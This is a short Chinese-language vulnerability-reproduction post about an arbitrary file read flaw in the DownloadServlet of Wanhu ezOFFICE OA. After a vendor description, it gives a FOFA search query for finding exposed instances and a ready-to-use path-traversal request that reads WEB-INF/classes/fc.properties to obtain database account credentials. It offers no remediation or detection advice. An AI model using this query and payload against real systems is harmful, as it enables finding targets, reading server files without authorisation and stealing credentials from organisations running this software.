漏洞复现 || 万户OA DownloadServlet 任意文件读取漏洞

漏洞描述

• 万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。万户OA DownloadServlet处存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器任意文件，导致服务器失陷。
  

  资产确定

• fofa：app="万户网络-ezOFFICE"

漏洞复现

• 1.执行POC读取配置文件，得到数据库账户密码

  /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2